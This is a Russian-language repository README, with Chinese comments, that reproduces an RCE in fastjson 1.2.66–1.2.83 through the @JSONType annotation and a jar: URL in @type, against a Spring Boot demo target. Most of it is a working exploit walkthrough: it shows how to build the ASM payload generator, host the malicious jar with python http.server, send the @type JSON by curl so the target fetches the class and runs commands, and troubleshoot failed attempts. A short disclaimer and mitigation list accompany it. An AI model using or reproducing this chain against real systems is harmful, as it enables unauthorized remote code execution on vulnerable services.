
Воспроизводит RCE fastjson 1.2.83 @JSONType с уязвимой целью Spring Boot и генератором полезной нагрузки на основе ASM, использующим цепочки jar по HTTP- или файловому протоколу.
@JSONType
Проект воспроизведения удалённой загрузки классов / выполнения команд для fastjson 1.2.66 ~ 1.2.83 через аннотацию @JSONType + недопустимое имя класса + протокол jar:.
⚠️ Отказ от ответственности
Данный проект предназначен только для исследований в области безопасности, воспроизведения уязвимостей и авторизованного тестирования. Запрещается использовать его против неавторизованных систем, для незаконных атак или вредоносных целей. Пользователь несёт полную ответственность за свои действия; автор не несёт юридической ответственности за любое злоупотребление.
Статья с анализом уязвимости: https://mp.weixin.qq.com/s/_4Tnren1hIBToZvHlaKq8w
Данный проект представляет собой полную среду для воспроизведения уязвимости fastjson 1.2.83, связанной с CVE-2026-16723:
demo/ — уязвимое веб-приложение на Spring Boot 2.7.18 (зависимость fastjson 1.2.83), которое предоставляет эндпоинт POST /parse, напрямую вызывающий JSON.parse(json);exp/ — генератор вредоносных jar-зондов на основе ASM (в двух формах: по HTTP-протоколу / по FILE-протоколу);环境/ — предкомпилированные FatJar для трёх сервлетных контейнеров (Tomcat / Jetty / Undertow), готовые к использованию.Основная идея эксплуатации: сформировав специальный JSON, в котором @type указывает на jar URL, заставить fastjson пройти доверенную ветку аннотации @JSONType → getResourceAsStream загружает удалённый/локальный jar → defineClass загружает вредоносный класс → инициализация класса запускает <clinit> → выполнение произвольных команд (RCE).
JSON.parse(json) или JSON.parseObject(json), версия fastjson — 1.2.66 ~ 1.2.83, safeMode не включён;java -jar, используется LaunchedURLClassLoader; только Spring Boot ≤ 2.7 сохраняет возможность отката обработчика протокола jar:);defineClass выбрасывает ClassFormatError — максимум, чего можно достичь, это SSRF);Метод checkAutoType в fastjson при обнаружении класса с аннотацией @JSONType переходит в доверенную ветку, пропуская большинство проверок чёрного списка и разрешая загрузку. Данный проект использует это: байт-код записывается напрямую с помощью ASM, а 【недопустимое имя внутреннего класса】 помещается в this_class пула констант класса, благодаря чему все три имени идеально совпадают:
@type jar:http:..2130706433:19090.x!.y (点形态,无斜杠)
resource jar:http://2130706433:19090/x!/y.class (点 -> 斜杠)
this_class jar:http://2130706433:19090/x!/y (字节码内部类名)
Структура вредоносного класса:
@JSONType — ключ, открывающий доверенную ветку checkAutoType в fastjson;<init>()V — гарантирует, что fastjson сможет нормально создать экземпляр;<clinit> — при инициализации класса выполняет Runtime.exec(new String[]{"/bin/bash", "-c", "<cmd>"}), обеспечивая выполнение команд.Недопустимое имя класса невозможно получить с помощью
javac— только ASM позволяет записать URL напрямую в пул констант. Именно поэтому генератор данного проекта зависит отasm-9.6.jar.
CVE-2026-16723_fastjson-jsontype漏洞/
├── 笔记.txt # 快速利用速查(http / file 协议两条命令)
├── demo/ # 漏洞靶场源码(Spring Boot 2.7.18 + fastjson 1.2.83)
│ └── src/main/java/com/example/demo/
│ ├── DemoApplication.java
│ └── controller/VulController.java # POST /parse -> JSON.parse(json)
├── exp/ # 恶意探针 jar 生成器
│ ├── GenProbeHttp.java # HTTP 协议链(jar:http)
│ ├── GenProbefile.java # FILE 协议链(jar:file)
│ └── asm-9.6.jar # ASM 字节码操作库
└── 环境/ # 预编译靶场 FatJar(开箱即用)
├── demo-0.0.1-SNAPSHOT.jar # Tomcat 中间件
├── demo-0.0.1-SNAPSHOT-jetty.jar # Jetty 中间件
├── demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow 中间件
└── asm-9.6.jar
demo/src/main/java/com/example/demo/controller/VulController.java:
@PostMapping("/parse")
public String parse(@RequestBody String json) {
ParserConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setDefaultClassLoader(ParserConfig.class.getClassLoader());
JSON.parse(json); // 未指定类型,直接解析不可信输入
return "Parsed!";
}
Лабораторная среда должна работать на JDK 8 (в соответствии с условиями эксплуатации).
# 方式 A(推荐):直接使用预编译 FatJar,三种中间件任选
java -jar ../环境/demo-0.0.1-SNAPSHOT.jar # Tomcat
java -jar ../环境/demo-0.0.1-SNAPSHOT-jetty.jar # Jetty
java -jar ../环境/demo-0.0.1-SNAPSHOT-Undertow.jar # Undertow
# 方式 B:源码构建运行(默认 Tomcat,需本机安装 Maven)
cd demo
mvn spring-boot:run
После запуска адрес эндпоинта: http://127.0.0.1:8080/parse
cd exp
javac -cp asm-9.6.jar GenProbeHttp.java
java -cp asm-9.6.jar:. GenProbeHttp 19090 'open -a Calculator'
19090 — HTTP-порт для размещения вредоносного jar;open -a Calculator — команда, которую нужно выполнить на машине цели (на macOS появится калькулятор; на Linux можно использовать id > /tmp/pwned 2>&1 и проверить, создан ли файл).По умолчанию создаётся файл x (без расширения), внутри него содержится y.class; payload:
{"@type":"jar:http:..2130706433:19090.x!.y","x":1}
python3 -m http.server 19090
Убедитесь, что
python3 -m http.serverзапущен в том же каталоге, где был создан файлx.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:19090.x!.y","x":1}'
Результат выполнения команды не отображается в HTTP-ответе — проверять необходимо на самой машине цели:
# Linux 目标
cat /tmp/pwned # 能看到 uid=... 即命令执行成功
# macOS 目标
# 观察是否弹出计算器(open -a Calculator)
Сценарий применения: цель не может получить доступ к HTTP-порту машины атакующего (изоляция во внутренней сети / ограничен исходящий трафик), но jar-файл можно разместить в файловой системе целевой машины.
cd exp
javac -cp asm-9.6.jar GenProbefile.java
java -cp asm-9.6.jar:. GenProbefile 19090 'open -a Calculator'
Генератор вычисляет URL jar:file: на основе текущего каталога (разделители каталогов / заменяются на .). Например, при генерации в /tmp/project/exp payload будет таким:
{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}
Загрузите или скопируйте сгенерированный файл y на целевую машину по абсолютному пути, соответствующему @type (например, /tmp/project/exp/y), сохранив структуру каталогов.
curl -X POST http://127.0.0.1:8080/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:file:.tmp.project.exp.y!.x","x":1}'
Внимание: путь в цепочке по FILE-протоколу должен точно совпадать с фактическим путём к файлу на целевой машине, иначе обнаружение ресурса завершится неудачей и загрузка не сработает.
2130706433 — это беззнаковое 32-битное целое число для 127.0.0.1. Запись в виде целого числа позволяет избежать повреждения точек . в IP-адресе логикой замены . → / в fastjson. Если машина атакующего не является локальной:
python3 -c "import socket,struct;print(struct.unpack('!I',socket.inet_aton('你的IP'))[0])"
autoType is not support. jar:http:...Это означает, что jar может быть загружен (SSRF подтверждён), но TypeUtils.loadClass вернул null. Причин практически всегда две:
@JSONType — проверка не проходит доверенную ветку, и до loadClass дело вообще не доходит;@type — имя класса в defineClass не соответствует фактическому, загрузка не удаётся.Генератор данного проекта решает обе проблемы: аннотация @JSONType + выравнивание всех трёх имён.
Если ClassLoader цели — не LaunchedURLClassLoader (например, запуск напрямую из IDE, обычный war-пакет, Spring Boot 3.x), одиночная цепочка jar:http не даёт RCE — максимум, что можно сделать, это подтвердить SSRF.
В JDK 9+ метод defineClass более строго проверяет недопустимые имена классов и выбрасывает ClassFormatError — цепочка обрывается на этапе загрузки.
ParserConfig.getGlobalInstance().setSafeMode(true); полностью отключает autoType;JSON.parse(json) / JSON.parseObject(json) напрямую для пользовательского ввода; по возможности используйте JSON.parseObject(json, Xxx.class) с явным указанием целевого типа;ParserConfig.addAccept(...) пропускайте только доверенные классы;@type.Если этот проект оказался вам полезен, поддержите ⭐ Star'ом исследования в области безопасности и развитие документации по уязвимостям.
⚠️ Используйте только для авторизованного тестирования, ни в коем случае не для незаконных целей!
| Параметр | Значение |
|---|
| CVE | CVE-2026-16723 |
| Компонент | Alibaba fastjson |
| Затронутые версии | 1.2.66 ~ 1.2.83 (последняя версия ветки 1.x всё ещё уязвима) |
| Тип уязвимости | Удалённое выполнение кода при десериализации (RCE) |
| Точка входа | JSON.parse(json) / JSON.parseObject(json) (без указания конкретного типа) |
| Предварительные условия | Цель — Spring Boot FatJar, JDK 8, safeMode отключён |
| Параметр | Значение по умолчанию | Описание |
|---|
port | 19090 | Порт размещения вредоносного jar |
cmd | id > /tmp/pwned 2>&1 | Команда для выполнения на целевой машине |
hostToken | 2130706433 | IP-адрес в целочисленной форме, к которому обращается цель (127.0.0.1) |
entry | y | Имя class-записи внутри jar |
outFile | x | Имя сгенерированного jar-файла (без расширения) |
| Параметр | Значение по умолчанию | Описание |
|---|
port | 19090 | Зарезервированный параметр (в цепочке FILE порт не используется) |
cmd | id > /tmp/pwned 2>&1 | Команда для выполнения на целевой машине |
dir | Текущий каталог | Каталог jar на целевой машине (используется для генерации URL jar:file:) |
entry | x | Имя class-записи внутри jar |
outFile | y | Имя сгенерированного jar-файла (без расширения) |